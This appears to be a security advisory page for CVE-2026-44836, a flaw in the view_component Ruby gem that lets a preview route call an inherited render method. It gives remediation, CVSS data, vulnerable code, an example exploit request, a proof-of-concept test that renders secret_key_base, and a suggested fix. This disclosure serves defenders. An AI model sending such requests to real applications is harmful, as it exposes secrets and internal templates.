CVE-2026-44836: view_component Preview Route Can Dispatch Inherited Vulnerability

MODERATE
Advisory Identifier: GHSA-7f3r-gwc9-2995
CVSS 6.5
CWE-749 CWE-277
Published
Advisory Summary

CVE-2026-44836 is a MODERATE (CVSS 6.5) preview route can dispatch inherited vulnerability (CWE-749: Exposed Dangerous Method or Function) affecting view_component libraries in the RubyGems ecosystem. The issue involves preview route can dispatch inherited helper methods. Remediation is available by upgrading affected packages to version 4.9.0.

CVE-2026-44836 at a Glance

CVE Identifier CVE-2026-44836
GHSA Identifier GHSA-7f3r-gwc9-2995
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-749: Exposed Dangerous Method or Function
Affected Product view_component
Package Ecosystem RubyGems
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-44836

To remediate this vulnerability, upgrade all affected view_component dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

view_component fixed: 4.9.0
Upgrade view_component to 4.9.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for view_component

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-44836, inspect your project dependencies for view_component:

inspect dependencies for view_component

Analyze the terminal output to locate any version of view_component in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.9.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-749: Exposed Dangerous Method or Function, where the product provides an applications programming interface (api) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted. In view_component, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The preview route derives an example name from the URL and calls it with `public_send`. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class. As a result, inherited public methods on `ViewComponent::Preview` are route-reachable. The most important one is `render_with_template`, which accepts `template:` and `locals:`. Those values can come from request params and are later passed to Rails as `render template:`. If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable. Severity: High if preview routes are externally reachable; Medium otherwise. Affected files: - `lib/view_component/preview.rb` - `app/controllers/concerns/view_component/preview_actions.rb` - `app/views/view_components/preview.html.erb` ### Relevant Code `app/controllers/concerns/view_component/preview_actions.rb`: ```ruby @example_name = File.basename(params[:path]) @render_args = @preview.render_args(@example_name, params: params.permit!) ``` `lib/view_component/preview.rb`: ```ruby example_params_names = instance_method(example).parameters.map(&:last) provided_params = params.slice(*example_params_names).to_h.symbolize_keys result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params) ``` `app/views/view_components/preview.html.erb`: ```erb <%= render template: @render_args[:template], locals: @render_args[:locals] || {} %> ``` The UI only lists direct preview methods via: ```ruby public_instance_methods(false).map(&:to_s).sort ``` But `render_args` does not enforce that list before dispatching. ### Exploit Flow Example request: ```text GET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-request ``` Flow: 1. `my_component` resolves to a valid preview. 2. `File.basename(params[:path])` returns `render_with_template`. 3. `render_args` calls inherited `ViewComponent::Preview#render_with_template`. 4. Request params provide `template: "internal/secret"` and `locals: {...}`. 5. The preview view renders `internal/secret` with attacker-controlled locals. Impact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values. ### PoC Test This checkout already contains a PoC at: - `test/sandbox/test/security_preview_template_poc_test.rb` - `test/sandbox/app/views/internal/secret.html.erb` The test proves that `/internal/secret` is not directly routable, but can still be rendered through the preview endpoint by invoking inherited `render_with_template`. If reproducing manually, run: ```bash bundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb ``` Equivalent standalone test: ```ruby # frozen_string_literal: true require "test_helper" class SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest def setup ViewComponent::Preview.__vc_load_previews end def test_preview_route_can_invoke_inherited_render_with_template refute_includes MyComponentPreview.examples, "render_with_template" assert_raises(ActionController::RoutingError) do Rails.application.routes.recognize_path("/internal/secret") end get( "/rails/view_components/my_component/render_with_template", params: { template: "internal/secret", locals: {poc_local: "attacker-controlled-local"}, request_marker: "attacker-controlled-request" } ) assert_response :success assert_includes response.body, "VC_PREVIEW_POC_SECRET=foo" assert_includes response.body, "VC_PREVIEW_POC_LOCAL=attacker-controlled-local" assert_includes response.body, "VC_PREVIEW_POC_REQUEST=attacker-controlled-request" end end ``` Fixture template: ```erb <div id="poc-secret">VC_PREVIEW_POC_SECRET=<%= Rails.application.secret_key_base %></div> <div id="poc-local">VC_PREVIEW_POC_LOCAL=<%= local_assigns[:poc_local] || local_assigns["poc_local"] %></div> <div id="poc-request">VC_PREVIEW_POC_REQUEST=<%= params[:request_marker] %></div> ``` ### Suggested Fix Only dispatch explicitly declared preview examples: ```ruby def render_args(example, params: {}) example = example.to_s raise AbstractController::ActionNotFound unless examples.include?(example) example_params_names = instance_method(example).parameters.map(&:last) provided_params = params.slice(*example_params_names).to_h.symbolize_keys result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params) result ||= {} result[:template] = preview_example_template_path(example) if result[:template].nil? @layout = nil unless defined?(@layout) result.merge(layout: @layout) end ``` Add a regression test that `/rails/view_components/my_component/render_with_template` fails unless `render_with_template` is explicitly defined as a preview example on that class.

CVE-2026-44836 Affected view_component Versions

1 component(s)
Fixed Versions:
4.9.0
Product / Package Ecosystem Affected Versions Fixed Version
view_component
RubyGems
≥ 3.0.0
< 4.9.0
4.9.0

References

Frequently Asked Questions

What is CVE-2026-44836?
CVE-2026-44836 is a security vulnerability in view_component involving Preview Route Can Dispatch Inherited Helper Methods under CWE-749: Exposed Dangerous Method or Function.
Which view_component versions are affected?
Affected versions include releases prior to 4.9.0 across affected packages: view_component.
What version fixes CVE-2026-44836?
Upgrading to 4.9.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is view_component affected?
Yes, view_component is affected in releases prior to 4.9.0. Upgrade your dependency to 4.9.0 or later.
What is the CVSS score of CVE-2026-44836?
CVE-2026-44836 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-44836?
CVE-2026-44836 is classified under CWE-749: Exposed Dangerous Method or Function (The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.).
How can I check RubyGems dependencies for CVE-2026-44836?
Run the dependency tree command: 'inspect dependencies for view_component'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7f3r-gwc9-2995",
  "modified" : "2026-06-08T23:34:27Z",
  "published" : "2026-05-08T23:33:14Z",
  "aliases" : [ "CVE-2026-44836" ],
  "summary" : "view_component: Preview Route Can Dispatch Inherited Helper Methods",
  "details" : "### Summary\n\nThe preview route derives an example name from the URL and calls it with `public_send`. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.\n\nAs a result, inherited public methods on `ViewComponent::Preview` are route-reachable. The most important one is `render_with_template`, which accepts `template:` and `locals:`. Those values can come from request params and are later passed to Rails as `render template:`.\n\nIf previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.\n\nSeverity: High if preview routes are externally reachable; Medium otherwise.\n\nAffected files:\n\n- `lib/view_component/preview.rb`\n- `app/controllers/concerns/view_component/preview_actions.rb`\n- `app/views/view_components/preview.html.erb`\n\n\n### Relevant Code\n\n`app/controllers/concerns/view_component/preview_actions.rb`:\n\n```ruby\n@example_name = File.basename(params[:path])\n@render_args = @preview.render_args(@example_name, params: params.permit!)\n```\n\n`lib/view_component/preview.rb`:\n\n```ruby\nexample_params_names = instance_method(example).parameters.map(&:last)\nprovided_params = params.slice(*example_params_names).to_h.symbolize_keys\nresult = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)\n```\n\n`app/views/view_components/preview.html.erb`:\n\n```erb\n<%= render template: @render_args[:template], locals: @render_args[:locals] || {} %>\n```\n\nThe UI only lists direct preview methods via:\n\n```ruby\npublic_instance_methods(false).map(&:to_s).sort\n```\n\nBut `render_args` does not enforce that list before dispatching.\n\n### Exploit Flow\n\nExample request:\n\n```text\nGET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-request\n```\n\nFlow:\n\n1. `my_component` resolves to a valid preview.\n2. `File.basename(params[:path])` returns `render_with_template`.\n3. `render_args` calls inherited `ViewComponent::Preview#render_with_template`.\n4. Request params provide `template: \"internal/secret\"` and `locals: {...}`.\n5. The preview view renders `internal/secret` with attacker-controlled locals.\n\nImpact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.\n\n### PoC Test\n\nThis checkout already contains a PoC at:\n\n- `test/sandbox/test/security_preview_template_poc_test.rb`\n- `test/sandbox/app/views/internal/secret.html.erb`\n\nThe test proves that `/internal/secret` is not directly routable, but can still be rendered through the preview endpoint by invoking inherited `render_with_template`.\n\nIf reproducing manually, run:\n\n```bash\nbundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb\n```\n\nEquivalent standalone test:\n\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\n\nclass SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest\n  def setup\n    ViewComponent::Preview.__vc_load_previews\n  end\n\n  def test_preview_route_can_invoke_inherited_render_with_template\n    refute_includes MyComponentPreview.examples, \"render_with_template\"\n\n    assert_raises(ActionController::RoutingError) do\n      Rails.application.routes.recognize_path(\"/internal/secret\")\n    end\n\n    get(\n      \"/rails/view_components/my_component/render_with_template\",\n      params: {\n        template: \"internal/secret\",\n        locals: {poc_local: \"attacker-controlled-local\"},\n        request_marker: \"attacker-controlled-request\"\n      }\n    )\n\n    assert_response :success\n    assert_includes response.body, \"VC_PREVIEW_POC_SECRET=foo\"\n    assert_includes response.body, \"VC_PREVIEW_POC_LOCAL=attacker-controlled-local\"\n    assert_includes response.body, \"VC_PREVIEW_POC_REQUEST=attacker-controlled-request\"\n  end\nend\n```\n\nFixture template:\n\n```erb\n<div id=\"poc-secret\">VC_PREVIEW_POC_SECRET=<%= Rails.application.secret_key_base %></div>\n<div id=\"poc-local\">VC_PREVIEW_POC_LOCAL=<%= local_assigns[:poc_local] || local_assigns[\"poc_local\"] %></div>\n<div id=\"poc-request\">VC_PREVIEW_POC_REQUEST=<%= params[:request_marker] %></div>\n```\n\n### Suggested Fix\n\nOnly dispatch explicitly declared preview examples:\n\n```ruby\ndef render_args(example, params: {})\n  example = example.to_s\n  raise AbstractController::ActionNotFound unless examples.include?(example)\n\n  example_params_names = instance_method(example).parameters.map(&:last)\n  provided_params = params.slice(*example_params_names).to_h.symbolize_keys\n  result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)\n  result ||= {}\n  result[:template] = preview_example_template_path(example) if result[:template].nil?\n  @layout = nil unless defined?(@layout)\n  result.merge(layout: @layout)\nend\n```\n\nAdd a regression test that `/rails/view_components/my_component/render_with_template` fails unless `render_with_template` is explicitly defined as a preview example on that class.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "view_component"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "4.9.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ViewComponent/view_component/security/advisories/GHSA-7f3r-gwc9-2995"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44836"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ViewComponent/view_component"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-44836.yml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-277", "CWE-749" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-08T23:33:14Z",
    "nvd_published_at" : "2026-05-26T21:16:38Z"
  }
}